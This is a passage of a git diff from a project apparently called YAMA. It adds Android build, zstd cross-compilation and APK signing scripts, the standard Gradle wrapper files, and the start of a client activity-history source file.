*) echo "Usage: $0 [release|debug|clean]"; exit 1 ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# ── Release: keystore check ───────────────────────────────────────────────────
|
||||||
|
if [ "$BUILD_TYPE" = "release" ]; then
|
||||||
|
JKS="$SCRIPT_DIR/yama-release.jks"
|
||||||
|
if [ ! -f "$JKS" ]; then
|
||||||
|
echo "ERROR: $JKS not found."
|
||||||
|
echo " Generate once with:"
|
||||||
|
echo " keytool -genkeypair -keystore android/yama-release.jks \\"
|
||||||
|
echo " -alias yama -keyalg RSA -keysize 2048 -validity 10000 \\"
|
||||||
|
echo " -dname 'CN=YAMA,O=Internal,C=CN'"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
if [ -z "${YAMA_PWD:-}" ]; then
|
||||||
|
read -rsp "Keystore password: " YAMA_PWD
|
||||||
|
echo
|
||||||
|
export YAMA_PWD
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "Building $BUILD_TYPE APK..."
|
||||||
|
chmod +x gradlew
|
||||||
|
./gradlew "$TASK" -PincludeEmulatorAbis=false
|
||||||
|
|
||||||
|
# ── Output ────────────────────────────────────────────────────────────────────
|
||||||
|
APK=$(find "app/build/outputs/apk/${BUILD_TYPE}" -name "*.apk" 2>/dev/null | head -1 || true)
|
||||||
|
if [ -n "$APK" ]; then
|
||||||
|
[ "$BUILD_TYPE" = "release" ] && OUT="$SCRIPT_DIR/ghost.apk" || OUT="$SCRIPT_DIR/ghost-${BUILD_TYPE}.apk"
|
||||||
|
cp "$APK" "$OUT"
|
||||||
|
echo ""
|
||||||
|
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
|
echo "APK: $OUT"
|
||||||
|
if $IS_WSL; then
|
||||||
|
WIN=$(wslpath -w "$OUT" 2>/dev/null || true)
|
||||||
|
[ -n "$WIN" ] && echo "WIN: $WIN"
|
||||||
|
fi
|
||||||
|
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
|
||||||
|
fi
|
||||||
85
android/build_zstd_android.sh
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# build_zstd_android.sh - 为 Android 交叉编译 libzstd.a
|
||||||
|
# 版本与 compress/zstd/zstd.h 头文件对齐(1.5.7),确保服务端压缩帧可正确解压
|
||||||
|
#
|
||||||
|
# 用法:
|
||||||
|
# ./build_zstd_android.sh # 自动查找 NDK
|
||||||
|
# ANDROID_NDK=/path/to/ndk ./build_zstd_android.sh
|
||||||
|
#
|
||||||
|
# 产出:
|
||||||
|
# app/src/main/cpp/lib/arm64-v8a/libzstd.a
|
||||||
|
# app/src/main/cpp/lib/armeabi-v7a/libzstd.a
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
cd "$(dirname "$0")"
|
||||||
|
|
||||||
|
ZSTD_VERSION="1.5.7"
|
||||||
|
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
|
||||||
|
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
|
||||||
|
ZSTD_DIR="zstd-${ZSTD_VERSION}"
|
||||||
|
|
||||||
|
# --- 定位 NDK ---
|
||||||
|
if [[ -z "${ANDROID_NDK:-}" ]]; then
|
||||||
|
for candidate in \
|
||||||
|
"$HOME/android-ndk-r27c" \
|
||||||
|
"$HOME/Library/Android/sdk/ndk/$(ls "$HOME/Library/Android/sdk/ndk" 2>/dev/null | sort -V | tail -1)" \
|
||||||
|
"$HOME/Android/Sdk/ndk/$(ls "$HOME/Android/Sdk/ndk" 2>/dev/null | sort -V | tail -1)"; do
|
||||||
|
if [[ -f "${candidate}/build/cmake/android.toolchain.cmake" ]]; then
|
||||||
|
ANDROID_NDK="$candidate"; break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
[[ -z "${ANDROID_NDK:-}" ]] && { echo "Error: ANDROID_NDK not set"; exit 1; }
|
||||||
|
TOOLCHAIN="$ANDROID_NDK/build/cmake/android.toolchain.cmake"
|
||||||
|
echo "NDK: $ANDROID_NDK"
|
||||||
|
|
||||||
|
# --- 自动检测宿主平台(用于选择 strip 工具路径)---
|
||||||
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||||
|
Linux*) HOST_TAG="linux-x86_64" ;;
|
||||||
|
Darwin*) HOST_TAG="darwin-x86_64" ;;
|
||||||
|
*) HOST_TAG="windows-x86_64" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# --- 下载 zstd 源码 ---
|
||||||
|
if [[ ! -d "$ZSTD_DIR" ]]; then
|
||||||
|
echo "Downloading zstd $ZSTD_VERSION..."
|
||||||
|
wget -q "$ZSTD_URL" -O "$ZSTD_TAR"
|
||||||
|
tar xf "$ZSTD_TAR"
|
||||||
|
rm "$ZSTD_TAR"
|
||||||
|
fi
|
||||||
|
|
||||||
|
OUT_BASE="app/src/main/cpp/lib"
|
||||||
|
# arm64-v8a / armeabi-v7a: 真机;x86 / x86_64: Android 模拟器(避免 libndk_translation 解压 bug)
|
||||||
|
ABIS=("arm64-v8a" "armeabi-v7a" "x86" "x86_64")
|
||||||
|
for ABI in "${ABIS[@]}"; do
|
||||||
|
BUILD_DIR="zstd_build/$ABI"
|
||||||
|
OUT_DIR="$OUT_BASE/$ABI"
|
||||||
|
rm -rf "$BUILD_DIR"
|
||||||
|
echo
|
||||||
|
echo "===== zstd $ABI ====="
|
||||||
|
cmake \
|
||||||
|
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
|
||||||
|
-DCMAKE_TOOLCHAIN_FILE="$TOOLCHAIN" \
|
||||||
|
-DANDROID_ABI="$ABI" \
|
||||||
|
-DANDROID_PLATFORM=android-21 \
|
||||||
|
-DCMAKE_BUILD_TYPE=Release \
|
||||||
|
-DCMAKE_C_FLAGS="-O2 -g0" \
|
||||||
|
-DZSTD_BUILD_STATIC=ON \
|
||||||
|
-DZSTD_BUILD_SHARED=OFF \
|
||||||
|
-DZSTD_BUILD_PROGRAMS=OFF \
|
||||||
|
-DZSTD_BUILD_TESTS=OFF \
|
||||||
|
-DZSTD_LEGACY_SUPPORT=0 \
|
||||||
|
-DZSTD_DISABLE_ASM=ON
|
||||||
|
cmake --build "$BUILD_DIR" --config Release -j"$(nproc 2>/dev/null || sysctl -n hw.logicalcpu 2>/dev/null || echo 4)"
|
||||||
|
mkdir -p "$OUT_DIR"
|
||||||
|
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
|
||||||
|
STRIP="$ANDROID_NDK/toolchains/llvm/prebuilt/${HOST_TAG}/bin/llvm-strip"
|
||||||
|
[[ -f "$STRIP" ]] && "$STRIP" --strip-debug "$OUT_DIR/libzstd.a"
|
||||||
|
ls -lh "$OUT_DIR/libzstd.a"
|
||||||
|
done
|
||||||
|
|
||||||
|
rm -rf zstd_build "$ZSTD_DIR"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "===== Done ====="
|
||||||
|
echo "libzstd.a 已写入 app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/"
|
||||||
BIN
android/ghost.apk
Normal file
5
android/gradle.properties
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
android.useAndroidX=true
|
||||||
|
android.enableJetifier=true
|
||||||
|
org.gradle.jvmargs=-Xmx2048m
|
||||||
|
# 模拟器(x86/x86_64)支持;build_apk.sh 会强制覆盖为 false,此行只影响 Android Studio
|
||||||
|
includeEmulatorAbis=true
|
||||||
BIN
android/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
7
android/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.0-bin.zip
|
||||||
|
networkTimeout=10000
|
||||||
|
validateDistributionUrl=true
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
||||||
248
android/gradlew
vendored
Normal file
@@ -0,0 +1,248 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
#
|
||||||
|
# Copyright © 2015 the original authors.
|
||||||
|
#
|
||||||
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
# you may not use this file except in compliance with the License.
|
||||||
|
# You may obtain a copy of the License at
|
||||||
|
#
|
||||||
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
#
|
||||||
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
# See the License for the specific language governing permissions and
|
||||||
|
# limitations under the License.
|
||||||
|
#
|
||||||
|
# SPDX-License-Identifier: Apache-2.0
|
||||||
|
#
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
#
|
||||||
|
# Gradle start up script for POSIX generated by Gradle.
|
||||||
|
#
|
||||||
|
# Important for running:
|
||||||
|
#
|
||||||
|
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||||
|
# noncompliant, but you have some other compliant shell such as ksh or
|
||||||
|
# bash, then to run this script, type that shell name before the whole
|
||||||
|
# command line, like:
|
||||||
|
#
|
||||||
|
# ksh Gradle
|
||||||
|
#
|
||||||
|
# Busybox and similar reduced shells will NOT work, because this script
|
||||||
|
# requires all of these POSIX shell features:
|
||||||
|
# * functions;
|
||||||
|
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||||
|
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||||
|
# * compound commands having a testable exit status, especially «case»;
|
||||||
|
# * various built-in commands including «command», «set», and «ulimit».
|
||||||
|
#
|
||||||
|
# Important for patching:
|
||||||
|
#
|
||||||
|
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||||
|
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||||
|
#
|
||||||
|
# The "traditional" practice of packing multiple parameters into a
|
||||||
|
# space-separated string is a well documented source of bugs and security
|
||||||
|
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||||
|
# options in "$@", and eventually passing that to Java.
|
||||||
|
#
|
||||||
|
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||||
|
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||||
|
# see the in-line comments for details.
|
||||||
|
#
|
||||||
|
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||||
|
# Darwin, MinGW, and NonStop.
|
||||||
|
#
|
||||||
|
# (3) This script is generated from the Groovy template
|
||||||
|
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||||
|
# within the Gradle project.
|
||||||
|
#
|
||||||
|
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||||
|
#
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
|
||||||
|
# Resolve links: $0 may be a link
|
||||||
|
app_path=$0
|
||||||
|
|
||||||
|
# Need this for daisy-chained symlinks.
|
||||||
|
while
|
||||||
|
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||||
|
[ -h "$app_path" ]
|
||||||
|
do
|
||||||
|
ls=$( ls -ld "$app_path" )
|
||||||
|
link=${ls#*' -> '}
|
||||||
|
case $link in #(
|
||||||
|
/*) app_path=$link ;; #(
|
||||||
|
*) app_path=$APP_HOME$link ;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# This is normally unused
|
||||||
|
# shellcheck disable=SC2034
|
||||||
|
APP_BASE_NAME=${0##*/}
|
||||||
|
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||||
|
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
|
||||||
|
|
||||||
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
|
MAX_FD=maximum
|
||||||
|
|
||||||
|
warn () {
|
||||||
|
echo "$*"
|
||||||
|
} >&2
|
||||||
|
|
||||||
|
die () {
|
||||||
|
echo
|
||||||
|
echo "$*"
|
||||||
|
echo
|
||||||
|
exit 1
|
||||||
|
} >&2
|
||||||
|
|
||||||
|
# OS specific support (must be 'true' or 'false').
|
||||||
|
cygwin=false
|
||||||
|
msys=false
|
||||||
|
darwin=false
|
||||||
|
nonstop=false
|
||||||
|
case "$( uname )" in #(
|
||||||
|
CYGWIN* ) cygwin=true ;; #(
|
||||||
|
Darwin* ) darwin=true ;; #(
|
||||||
|
MSYS* | MINGW* ) msys=true ;; #(
|
||||||
|
NONSTOP* ) nonstop=true ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Determine the Java command to use to start the JVM.
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||||
|
else
|
||||||
|
JAVACMD=$JAVA_HOME/bin/java
|
||||||
|
fi
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD=java
|
||||||
|
if ! command -v java >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Increase the maximum file descriptors if we can.
|
||||||
|
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||||
|
case $MAX_FD in #(
|
||||||
|
max*)
|
||||||
|
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||||
|
# shellcheck disable=SC2039,SC3045
|
||||||
|
MAX_FD=$( ulimit -H -n ) ||
|
||||||
|
warn "Could not query maximum file descriptor limit"
|
||||||
|
esac
|
||||||
|
case $MAX_FD in #(
|
||||||
|
'' | soft) :;; #(
|
||||||
|
*)
|
||||||
|
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||||
|
# shellcheck disable=SC2039,SC3045
|
||||||
|
ulimit -n "$MAX_FD" ||
|
||||||
|
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Collect all arguments for the java command, stacking in reverse order:
|
||||||
|
# * args from the command line
|
||||||
|
# * the main class name
|
||||||
|
# * -classpath
|
||||||
|
# * -D...appname settings
|
||||||
|
# * --module-path (only if needed)
|
||||||
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||||
|
|
||||||
|
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||||
|
if "$cygwin" || "$msys" ; then
|
||||||
|
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||||
|
|
||||||
|
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||||
|
|
||||||
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
|
for arg do
|
||||||
|
if
|
||||||
|
case $arg in #(
|
||||||
|
-*) false ;; # don't mess with options #(
|
||||||
|
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||||
|
[ -e "$t" ] ;; #(
|
||||||
|
*) false ;;
|
||||||
|
esac
|
||||||
|
then
|
||||||
|
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||||
|
fi
|
||||||
|
# Roll the args list around exactly as many times as the number of
|
||||||
|
# args, so each arg winds up back in the position where it started, but
|
||||||
|
# possibly modified.
|
||||||
|
#
|
||||||
|
# NB: a `for` loop captures its iteration list before it begins, so
|
||||||
|
# changing the positional parameters here affects neither the number of
|
||||||
|
# iterations, nor the values presented in `arg`.
|
||||||
|
shift # remove old arg
|
||||||
|
set -- "$@" "$arg" # push replacement arg
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
|
# Collect all arguments for the java command:
|
||||||
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||||
|
# and any embedded shellness will be escaped.
|
||||||
|
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||||
|
# treated as '${Hostname}' itself on the command line.
|
||||||
|
|
||||||
|
set -- \
|
||||||
|
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||||
|
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
|
||||||
|
"$@"
|
||||||
|
|
||||||
|
# Stop when "xargs" is not available.
|
||||||
|
if ! command -v xargs >/dev/null 2>&1
|
||||||
|
then
|
||||||
|
die "xargs is not available"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Use "xargs" to parse quoted args.
|
||||||
|
#
|
||||||
|
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||||
|
#
|
||||||
|
# In Bash we could simply go:
|
||||||
|
#
|
||||||
|
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||||
|
# set -- "${ARGS[@]}" "$@"
|
||||||
|
#
|
||||||
|
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||||
|
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||||
|
# character that might be a shell metacharacter, then use eval to reverse
|
||||||
|
# that process (while maintaining the separation between arguments), and wrap
|
||||||
|
# the whole thing up as a single "set" statement.
|
||||||
|
#
|
||||||
|
# This will of course break if any of these variables contains a newline or
|
||||||
|
# an unmatched quote.
|
||||||
|
#
|
||||||
|
|
||||||
|
eval "set -- $(
|
||||||
|
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||||
|
xargs -n1 |
|
||||||
|
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||||
|
tr '\n' ' '
|
||||||
|
)" '"$@"'
|
||||||
|
|
||||||
|
exec "$JAVACMD" "$@"
|
||||||
93
android/gradlew.bat
vendored
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
@rem
|
||||||
|
@rem Copyright 2015 the original author or authors.
|
||||||
|
@rem
|
||||||
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
@rem you may not use this file except in compliance with the License.
|
||||||
|
@rem You may obtain a copy of the License at
|
||||||
|
@rem
|
||||||
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
@rem
|
||||||
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
@rem See the License for the specific language governing permissions and
|
||||||
|
@rem limitations under the License.
|
||||||
|
@rem
|
||||||
|
@rem SPDX-License-Identifier: Apache-2.0
|
||||||
|
@rem
|
||||||
|
|
||||||
|
@if "%DEBUG%"=="" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%"=="" set DIRNAME=.
|
||||||
|
@rem This is normally unused
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if %ERRORLEVEL% equ 0 goto execute
|
||||||
|
|
||||||
|
echo. 1>&2
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||||
|
echo. 1>&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto execute
|
||||||
|
|
||||||
|
echo. 1>&2
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||||
|
echo. 1>&2
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||||
|
echo location of your Java installation. 1>&2
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
set EXIT_CODE=%ERRORLEVEL%
|
||||||
|
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||||
|
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||||
|
exit /b %EXIT_CODE%
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
||||||
16
android/settings.gradle
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
pluginManagement {
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
gradlePluginPortal()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dependencyResolutionManagement {
|
||||||
|
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||||
|
repositories {
|
||||||
|
google()
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rootProject.name = "YAMA"
|
||||||
|
include(":app")
|
||||||
112
android/sign_apk.bat
Normal file
@@ -0,0 +1,112 @@
|
|||||||
|
@echo off
|
||||||
|
:: sign_apk.bat - Sign a YAMA APK with the release keystore
|
||||||
|
:: Usage: sign_apk.bat <apk-path>
|
||||||
|
setlocal
|
||||||
|
|
||||||
|
if "%~1"=="" (
|
||||||
|
echo Usage: sign_apk.bat ^<apk-path^>
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
set "APK=%~f1"
|
||||||
|
if not exist "%APK%" (
|
||||||
|
echo ERROR: APK not found: %APK%
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
set "KEYSTORE=%~dp0yama-release.jks"
|
||||||
|
if not exist "%KEYSTORE%" (
|
||||||
|
echo ERROR: Keystore not found: %KEYSTORE%
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
:: --- Locate java.exe ---
|
||||||
|
set "JAVA_EXE="
|
||||||
|
|
||||||
|
where java >nul 2>&1
|
||||||
|
if not errorlevel 1 set "JAVA_EXE=java"
|
||||||
|
|
||||||
|
if not defined JAVA_EXE if defined JAVA_HOME (
|
||||||
|
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
|
||||||
|
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
|
||||||
|
)
|
||||||
|
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
|
||||||
|
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
|
||||||
|
)
|
||||||
|
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
|
||||||
|
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
|
||||||
|
)
|
||||||
|
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
|
||||||
|
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not defined JAVA_EXE (
|
||||||
|
echo ERROR: java.exe not found. Install JDK or Android Studio.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
:: --- Locate Android SDK ---
|
||||||
|
set "SDK_DIR="
|
||||||
|
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
|
||||||
|
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
|
||||||
|
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
|
||||||
|
|
||||||
|
if not defined SDK_DIR (
|
||||||
|
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
|
||||||
|
set "SIGNER_JAR="
|
||||||
|
set "BT_VER="
|
||||||
|
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
|
||||||
|
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
|
||||||
|
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
|
||||||
|
set "BT_VER=%%D"
|
||||||
|
)
|
||||||
|
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
|
||||||
|
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
|
||||||
|
set "BT_VER=%%D"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
if not defined SIGNER_JAR (
|
||||||
|
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo APK : %APK%
|
||||||
|
echo Keystore: %KEYSTORE%
|
||||||
|
echo Java : %JAVA_EXE%
|
||||||
|
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
|
||||||
|
echo.
|
||||||
|
|
||||||
|
set "PWD=%YAMA_PWD%"
|
||||||
|
if not defined PWD set /p "PWD=Keystore password: "
|
||||||
|
if not defined PWD (
|
||||||
|
echo ERROR: No password provided.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
echo Signing...
|
||||||
|
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Signing failed.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo Verifying...
|
||||||
|
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
|
||||||
|
if errorlevel 1 (
|
||||||
|
echo ERROR: Verification failed.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo Done: %APK%
|
||||||
|
endlocal
|
||||||
BIN
android/yama-release.jks
Normal file
126
client/ActivityHistory.cpp
Normal file
@@ -0,0 +1,126 @@
|
|||||||
|
// ActivityHistory.cpp: 客户端历史活动记录采集模块
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ActivityHistory.h"
|
||||||
|
#include "KernelManager.h" // ActivityWindow
|
||||||
|
|
||||||
|
ActivityHistory& ActivityHistory::Instance()
|
||||||
|
{
|
||||||
|
static ActivityHistory inst;
|
||||||
|
